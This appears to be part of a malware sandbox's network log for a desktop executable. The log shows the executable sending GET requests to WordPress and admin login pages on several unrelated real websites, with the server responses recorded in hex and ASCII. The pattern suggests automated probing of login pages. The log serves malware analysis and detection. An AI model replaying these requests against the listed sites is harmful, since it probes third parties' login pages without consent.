527	192.168.2.4	55749	45.40.150.54	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:58 UTC	176	OUT	GET /wp-login.php HTTP/1.1 Host: engel-firm.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:58 UTC	856	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6f 70 65 6e 72 65 73 74 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 61 67 65 3a 20 30 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 75 70 67 72 61 64 65 2d 69 6e Data Ascii: HTTP/1.1 200 OKServer: openrestyDate: Sun, 26 Nov 2023 06:00:00 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeage: 0cache-control: no-store, no-cache, must-revalidatecontent-security-policy: upgrade-in
2023-11-26 05:59:58 UTC	7882	IN	Data Raw: 31 65 63 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 4c 61 77 20 46 69 72 6d 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 Data Ascii: 1ec2<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Law Firm — WordPress</title><meta name='robots' content='noindex, follow' /><script type='text/javas
2023-11-26 05:59:58 UTC	593	IN	Data Raw: 32 34 61 0d 0a 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 65 6e 67 65 6c 2d 66 69 72 6d 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 77 70 2d 75 74 69 6c 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 33 2e 32 27 20 69 64 3d 27 77 70 2d 75 74 69 6c 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 69 64 3d 27 75 73 65 72 2d 70 72 6f 66 69 6c 65 2d 6a 73 2d 65 78 74 72 61 27 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 76 61 72 20 75 73 65 72 50 72 6f 66 69 6c 65 4c 31 30 6e 20 3d 20 7b 22 75 73 65 72 5f 69 64 22 3a 22 30 22 2c 22 6e 6f 6e 63 65 22 3a 22 66 34 39 38 32 35 38 33 39 63 22 7d 3b 0a 2f 2a 20 5d 5d 3e 20 2a 2f 0a 3c 2f 73 63 72 Data Ascii: 24aipt' src='https://engel-firm.com/wp-includes/js/wp-util.min.js?ver=6.3.2' id='wp-util-js'></script><script type='text/javascript' id='user-profile-js-extra'>/* <![CDATA[ /var userProfileL10n = {"user_id":"0","nonce":"f49825839c"};/ ... */</scr
2023-11-26 05:59:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
528	192.168.2.4	55727	213.0.13.44	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:58 UTC	184	OUT	GET /wp/wp-login.php HTTP/1.1 Host: www.ceuandalucia.es Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:59 UTC	542	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 35 2e 34 2e 34 35 2d 30 2b 64 65 62 37 75 31 34 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 2b 43 6f 6f 6b 69 65 2b 63 68 65 63 6b 3b 20 70 61 74 68 3d Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:58 GMTServer: ApacheX-Powered-By: PHP/5.4.45-0+deb7u14Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=
2023-11-26 05:59:59 UTC	6439	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 63 6c 61 73 73 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 73 22 20 78 6d 6c 6e 73 3a 6f 67 3d 22 68 74 74 70 3a 2f 2f 6f 70 65 6e 67 72 61 70 68 70 72 6f 74 6f 63 6f 6c 2e 6f 72 67 2f 73 63 68 65 6d 61 2f 22 20 78 6d 6c 6e 73 3a 66 62 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 32 30 30 38 2f 66 62 6d 6c 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 38 29 20 5d 3e 3c 21 2d 2d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 Data Ascii: <!DOCTYPE html>...[if IE 8]><html xmlns="http://www.w3.org/1999/xhtml" class="ie8" lang="es" xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml"><![endif]-->...[if !(IE 8) ]>...><html xmlns="http://w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
529	192.168.2.4	56099	162.250.126.5	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:58 UTC	180	OUT	GET /wp-login.php HTTP/1.1 Host: mydirectlender.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:58 UTC	508	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 63 6c 2d 62 79 70 61 73 73 2d 63 61 63 68 65 3d 79 65 73 3b 20 45 78 70 69 72 65 73 3d 53 75 6e 2c 20 32 36 2d 4e 6f 76 2d 32 33 20 30 36 3a 35 39 3a 35 37 20 47 4d 54 3b 20 44 6f 6d 61 69 6e 3d 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 0d 0a Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:57 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeSet-Cookie: cl-bypass-cache=yes; Expires=Sun, 26-Nov-23 06:59:57 GMT; Domain=mydirectlender.com; Path=/; HttpOnly; SameSite=Lax
2023-11-26 05:59:58 UTC	15876	IN	Data Raw: 34 66 64 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 43 61 70 74 63 68 61 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 0a 20 20 20 20 20 20 20 20 20 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f 6f 74 73 74 72 61 70 2f 33 2e 33 2e 36 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 22 0a 20 20 20 20 20 20 20 20 20 20 69 6e 74 65 67 72 69 74 79 3d 22 73 68 61 33 38 34 2d 31 71 38 6d 54 4a 4f 41 53 78 38 6a 31 Data Ascii: 4fd0<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>Captcha</title> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" integrity="sha384-1q8mTJOASx8j1
2023-11-26 05:59:58 UTC	4569	IN	Data Raw: 37 31 31 35 39 20 32 38 2e 39 39 37 32 32 33 32 2c 32 39 2e 33 34 38 39 32 30 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 46 69 6c 6c 2d 31 32 22 20 66 69 6c 6c 3d 22 23 34 36 37 43 34 35 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 34 2e 39 37 31 33 33 39 30 32 2c 32 35 2e 36 34 35 35 35 20 43 39 2e 39 33 33 38 35 31 32 32 2c 32 37 2e 31 38 37 33 37 39 33 20 31 34 2e 37 37 33 37 30 34 39 2c 32 39 2e 30 33 36 34 32 38 20 31 39 2e 36 37 34 38 38 37 38 2c 33 30 2e 36 37 30 35 33 37 38 20 43 32 30 2e 34 31 34 38 35 31 32 2c 33 30 2e 39 31 37 30 30 31 32 20 32 31 2e 31 35 34 32 34 31 35 2c 33 31 2e 31 39 34 34 31 35 39 20 32 31 2e Data Ascii: 71159 28.9972232,29.3489207" id="Fill-12" fill="#467C45"></path> <path d="M4.97133902,25.64555 C9.93385122,27.1873793 14.7737049,29.036428 19.6748878,30.6705378 C20.4148512,30.9170012 21.1542415,31.1944159 21.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
530	192.168.2.4	56103	144.202.62.131	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:58 UTC	182	OUT	GET /wp-login.php HTTP/1.1 Host: gruporegiosafety.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:59 UTC	352	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 25 32 30 43 6f 6f 6b 69 65 25 32 30 63 68 65 63 6b 3b 20 70 61 74 68 3d 2f 3b 20 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:58 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Frame-Options: SAMEORIGINSet-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/;
2023-11-26 05:59:59 UTC	7840	IN	Data Raw: 32 38 32 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 4d 58 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 41 63 63 65 64 65 72 20 26 6c 73 61 71 75 6f 3b 20 47 52 55 50 4f 20 52 45 47 49 4f 20 53 41 46 45 54 59 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 2e 6c 6f 67 69 6e 2d 61 63 74 69 6f 6e 2d 6c 6f 73 74 70 61 73 73 77 6f 72 64 20 23 6c 6f 67 69 6e 5f 65 72 72 6f 72 7b 0a 20 20 Data Ascii: 282a<!DOCTYPE html><html lang="es-MX"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Acceder &lsaquo; GRUPO REGIO SAFETY — WordPress</title> <style> .login-action-lostpassword #login_error{
2023-11-26 05:59:59 UTC	2448	IN	Data Raw: 20 25 32 24 73 21 20 55 73 65 20 25 33 24 73 20 69 6e 73 74 65 61 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 73 69 64 65 72 20 77 72 69 74 69 6e 67 20 6d 6f 72 65 20 69 6e 63 6c 75 73 69 76 65 20 63 6f 64 65 2e 22 3a 5b 22 5c 75 30 30 61 31 25 31 24 73 20 65 73 74 5c 75 30 30 65 31 20 65 6e 20 64 65 73 75 73 6f 20 64 65 73 64 65 20 6c 61 20 76 65 72 73 69 5c 75 30 30 66 33 6e 20 25 32 24 73 21 20 55 73 61 20 25 33 24 73 20 65 6e 20 73 75 20 6c 75 67 61 72 2e 20 50 6f 72 20 66 61 76 6f 72 20 63 6f 6e 73 69 64 65 72 61 20 65 73 63 72 69 62 69 72 20 75 6e 20 63 5c 75 30 30 66 33 64 69 67 6f 20 6d 5c 75 30 30 65 31 73 20 69 6e 63 6c 75 73 69 76 6f 2e 22 5d 7d 7d 2c 22 63 6f 6d 6d 65 6e 74 22 3a 7b 22 72 65 66 65 72 65 6e 63 65 22 3a 22 77 70 2d 61 64 6d 69 6e 5c Data Ascii: %2$s! Use %3$s instead. Please consider writing more inclusive code.":["\u00a1%1$s est\u00e1 en desuso desde la versi\u00f3n %2$s! Usa %3$s en su lugar. Por favor considera escribir un c\u00f3digo m\u00e1s inclusivo."]}},"comment":{"reference":"wp-admin\
2023-11-26 05:59:59 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
531	192.168.2.4	56109	23.185.0.1	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:58 UTC	166	OUT	GET /admin/ HTTP/1.1 Host: avient.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:58 UTC	620	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 76 69 65 6e 74 2e 63 6f 6d 2f 61 64 6d 69 6e 2f 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 36 32 32 34 30 30 0d 0a 58 2d 50 61 6e 74 68 65 6f 6e 2d 53 74 79 78 2d 48 6f 73 74 6e 61 6d 65 3a 20 73 74 79 78 2d 66 65 31 2d 61 2d 37 63 39 63 34 34 36 Data Ascii: HTTP/1.1 301 Moved PermanentlyConnection: closeContent-Length: 0Content-Type: text/html; charset=UTF-8Location: https://www.avient.com/admin/Server: nginxStrict-Transport-Security: max-age=31622400X-Pantheon-Styx-Hostname: styx-fe1-a-7c9c446

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
532	192.168.2.4	56108	162.241.62.220	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:58 UTC	177	OUT	GET /wp-admin/ HTTP/1.1 Host: lumaruniformes.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:59 UTC	417	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 52 65 64 69 72 65 63 74 2d 42 79 3a 20 57 6f 72 64 50 72 65 73 73 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55 70 67 72 61 64 65 2c 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 05:59:58 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Redirect-By: WordPressUpgrade: h2,h2cConnection: Upgrade, closeLocation: https://

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
533	192.168.2.4	56066	185.54.192.125	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:58 UTC	169	OUT	GET /admin/ HTTP/1.1 Host: talentius.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:59 UTC	443	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:58 GMTServer: Apache/2.4.52 (Ubuntu)Pragma: no-cacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://talentius.com/wp-json/>; rel="https:
2023-11-26 05:59:59 UTC	7749	IN	Data Raw: 31 65 63 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 45 53 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a Data Ascii: 1ecc<!DOCTYPE html><html lang="es-ES" class="no-js"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="http://gmpg.org/xfn/11"> <link rel="pingback" href="https:
2023-11-26 05:59:59 UTC	141	IN	Data Raw: 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 6a 71 75 65 72 79 2f 75 69 2f 77 69 64 67 65 74 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 31 31 2e 34 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 Data Ascii: type='text/javascript' src='https://talentius.com/wp-includes/js/jquery/ui/widget.min.js?ver=1.11.4'></script><script type='text/javascript
2023-11-26 05:59:59 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:59 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 6a 71 75 65 72 79 2f 75 69 2f 6d 6f 75 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 31 31 2e 34 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 6a 71 75 65 72 79 2f 75 69 2f 64 72 61 67 67 61 62 6c 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 31 31 2e 34 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 Data Ascii: 1ff8' src='https://talentius.com/wp-includes/js/jquery/ui/mouse.min.js?ver=1.11.4'></script><script type='text/javascript' src='https://talentius.com/wp-includes/js/jquery/ui/draggable.min.js?ver=1.11.4'></script><script type='text/javascript' src='ht
2023-11-26 05:59:59 UTC	6	IN	Data Raw: 31 66 66 38 0d 0a Data Ascii: 1ff8
2023-11-26 05:59:59 UTC	8184	IN	Data Raw: 2d 32 39 34 22 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 20 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 75 73 74 6f 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 63 75 73 74 6f 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 32 39 34 22 3e 3c 61 20 63 6c 61 73 73 3d 22 70 61 67 65 2d 73 63 72 6f 6c 6c 22 20 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 6f 72 6d 61 63 69 6f 6e 2e 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 22 3e 41 43 43 45 53 4f 20 55 53 55 41 52 49 4f 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 09 09 09 09 09 3c 64 69 76 3e 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 61 76 69 73 6f 2d 6c 65 67 61 6c 2f Data Ascii: -294" class="dropdown menu-item menu-item-type-custom 